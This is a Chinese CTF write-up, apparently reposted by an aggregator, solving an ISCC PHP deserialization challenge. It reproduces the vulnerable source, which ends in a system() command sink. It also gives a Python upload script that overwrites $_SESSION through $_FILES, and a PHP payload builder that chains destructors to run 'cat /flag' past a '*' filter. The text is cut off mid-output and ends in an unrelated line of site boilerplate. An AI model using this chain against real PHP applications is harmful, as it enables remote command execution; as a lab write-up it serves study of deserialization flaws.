ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,
Posted Zero_Adam
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,相关的知识,希望对你有一定的参考价值。
目录:
一、当时做,不会做,分析不出来。看WP
<?php
session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);
$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;
class ISCC_Upload {
function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}
function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {
foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;
if(is_uploaded_file($iscc_file['tmp_name'])) {
$check = @getimagesize($iscc_file["tmp_name"]);
if($check !== false) {
$target_dir = "/var/tmp/";
$target_file = $target_dir . randstr(10);
if (file_exists($target_file)) {
echo "想啥呢?有东西了……<br>";
finalize();
exit;
}
if ($iscc_file["size"] > 500000) {
echo "东西塞不进去~<br>";
finalize();
exit;
}
if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
echo "我拿到了!<br>";
$iscc_file = $target_file;
$status = "upload_ok";
} else {
echo "拿不到:(<br>";
finalize();
exit;
}
} else {
finalize();
exit;
}
} else {
echo "你真是个天才!<br>";
finalize();
exit;
}
}
}
}
class ISCC_ResetCMD {
protected $new_cmd = "echo '新新世界,发号施令!'";
function __wakeup() {
global $cmd;
global $is_upload;
global $status;
$_SESSION['name'] = randstr(14);
$is_upload = false;
if(!isset($this->new_cmd)) {
$status = "error";
$error = "你这罐子是空的!";
throw new Exception($error);
}
if(!is_string($this->new_cmd)) {
$status = "error";
$error = '东西都没给对!';
throw new Exception($error);
}
}
function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}
}
class ISCC_Login {
function __wakeup() {
$this->login();
}
function __destruct() {
$this->logout();
}
function login() {
$flag = file_get_contents("/flag");
$pAssM0rd = hash("sha256", $flag);
if($_GET['pAssM0rd'] === $pAssM0rd)
$_SESSION['name'] = "isccIsCciScc1scc";
}
function logout() {
global $status;
unset($_SESSION['name']);
$status = "finish";
}
}
class ISCC_TellMeTruth {
function __wakeup() {
if(!isset($_SESSION['name']))
$_SESSION['name'] = randstr(14);
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}
function __destruct() {
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}
}
class ISCC_Command {
function __wakeup() {
global $cmd;
global $is_upload;
$_SESSION['name'] = randstr(14);
$is_upload = false;
$cmd = "whoami";
}
function __toString() {
global $cmd;
return "看看你干的好事: {$cmd} <br>";
}
function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
}
}
function randstr($len)
{
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
$randstring = '';
for ($i = 0; $i < $len; $i++) {
$randstring .= $characters[rand(0, strlen($characters))];
}
return $randstring;
}
function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}
function finalize() {
$cmd = "";
$is_upload = false;
unset($_SESSION);
@unlink($iscc_file);
$status = "finish";
echo "<img src='whichisthetrueiscc.gif'><br>";
}
if(isset($_GET['whatareyounongshane'])) {
$whatareyounongshane = $_GET['whatareyounongshane'];
switch ($whatareyounongshane) {
case "src":
highlight_file(__FILE__);
break;
case "cmd":
echo "想越级干好事?还是有门的……";
header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
break;
case "reset":
echo "几辈子积累的好运就在这时~:p";
header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
break;
case "upload":
$resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data">
<input type="file" name="iscc_file">
<input type="submit" value="Upload Image" name="submit">
</form>
EOF;
echo $resp;
break;
case "tellmetruth":
echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
break;
default:
echo "空空如也就是我!";
}
finalize();
die("所以哪个ISCC是真的?<br>");
}
if(isset($_GET['?'])) {
$wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));
if($goodshit = @unserialize($wtf)) {
$is_unser_finished = true;
}
if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
finalize();
die("所以哪个ISCC是真的?<br>");
}
?>
ISCC_Command类里面的__destruct方法可以执行cmd命令
function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
}
然后在ISCC_ResetCMD类里面对cmd进行重新赋值
class ISCC_ResetCMD {
protected $new_cmd = "echo '新新世界,发号施令!'";
function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}
}
但是要求:这里的__destruct方法必须得满足这个才能重置命令,即需要名为isccIsCciScc1scc
的SESSION
。也就是$_SESSION['name']='isccIsCciScc1scc'
才行,。那么就要覆盖session变量,
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
ISCC__Upload类:
class ISCC_Upload {
function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}
function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {
foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;
其中$GLOBALS['key'] = value;
为全局变量的覆盖,当$is_upload
为true
的时候,就会触发这个循环,可以实现$_SESSION
的变量覆盖。
而在upload类里面的__wakeup
方法里面$is_upload = (count($_FILES) > 0);
会把他设置成true
.。在其他的类中,都将$is_upload
设置为了false
。所以就在这里操作。
这里了解一下$_FILES
,$_FILES
通过TTP POST
方式上传到当前脚本的项目的数组。
数组内容如下:
$_FILES['userfile']['name'] #客户端机器文件的原名称。
$_FILES['userfile']['type'] #文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。
$_FILES['userfile']['size'] #已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] #文件被上传后在服务端储存的临时文件名。
$_FILES['userfile']['error'] #和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。
传入这样的脚本,就能够实现session数组变量的覆盖了。 后面又分析,很细致的分析。
import requests
url="http://ip/aa/test1.php"
files={
'iscc_file': ("b", 'content', 'bbb'),
"_SESSION":("isccIsCciScc1scc","123")
}
headers={
'Cookie':"XDEBUG_SESSION=PHPSTORM"
}
r=requests.post(url=url,files=files)
print(r.text)
那么来了:
我们要先执行upload的destruct来改变session。然后是reset的destruct,重写cmd。然后是comand的destruct。执行命令。
这里,顺序要倒过来看下面:序列化的顺序和反序列化调用destruct的顺序是相反的。
我们要在ISCC__Upload
类执行__destruct
之前,is_upload
是 true
。
这就要求,最早执行__destruct
,最晚执行__wakeup
,所以就可以按一定顺序来构造POP链 --------------》?????
先是upload的destruct,然后是reset的destruct,然后是comand的destruct、
由于有一个waf函数,不能出现*
号。
function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}
但是ISCC_ResetCMD
类的$new_cmd
的属性是protected
的,序列化后会带有*
,这就需要SCC_Upload
类的__wakeup
在这些类的最后进行,但是__destruct
要在第一个开始。需要按一定顺序来构造POP链::
这个数组,就是用来控制顺序的。
<?php
class ISCC_Command {
}
class ISCC_ResetCMD {
protected $new_cmd = "cat /flag";
}
class ISCC_Upload {
}
$a=array(
'a'=>new ISCC_Upload(),
'b'=>new ISCC_ResetCMD(),
'c'=>new ISCC_Command(),
);
$b=serialize($a);
echo $b;
结果是这个:
protected属性,*
两边各有一个\\00
,不可见字符,各占一个位置,
a:3:{s:1:"a";O:11:"ISCC_Upload":0:<以上是关于ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,的主要内容,如果未能解决你的问题,请参考以下文章
R语言使用scales包的hue_pal函数获取ggplot2任何级别的离散色码使用scales包的hue_pal函数获取ggplot2任何级别的反序(reverse)离散色码